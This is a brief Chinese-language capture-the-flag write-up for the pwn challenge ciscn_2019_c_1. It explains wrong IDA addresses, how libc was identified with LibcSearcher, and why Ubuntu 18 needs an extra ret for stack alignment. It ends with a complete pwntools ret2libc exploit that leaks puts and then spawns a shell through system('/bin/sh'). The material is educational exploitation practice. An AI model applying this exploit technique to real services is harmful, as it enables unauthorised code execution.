ciscn_2019_c_1

坑点：ida反编译地址不对

解决办法：通过ROPdadget工具获得正确的pop_rdi和ret的地址

问题：libc版本寻找

解决：通过LibcSearcher工具进行寻找

 难点（写这篇文章的目的）：这个问题和我前两篇checkin脚本分析最后自己写的一个脚本出现同样的情况，因为题目环境是Ubuntu18，所以需要栈对齐-----地址末尾为0，所以需要加ret

不加ret之前的rsp地址

 加了ret后

最后的脚本，python3环境，上述libcsearcher工具要求

from pwn import *
from LibcSearcher import *
#ida decomplie address error
context(os='linux', arch='amd64', log_level='debug')
p = process("./ciscn_2019_c_1")
#p = remote("node4.buuoj.cn", 28921)
elf = ELF("./ciscn_2019_c_1")
gdb.attach(p)
pause()


offset = 0x58
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = elf.sym["main"]
pop_rdi = 0x400c83

p.sendline("1")

payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendline(offset*b"a" + payload)
p.recvuntil("\x40\n")
puts_real = u64(p.recv(6).ljust(8,b"\x00"))
print("puts_real",hex(puts_real))

# tools
libc = LibcSearcher('puts', puts_real)
libc_base = puts_real - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

ret = 0x4006b9
p.sendline("1")
payload = b"a" *offset + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()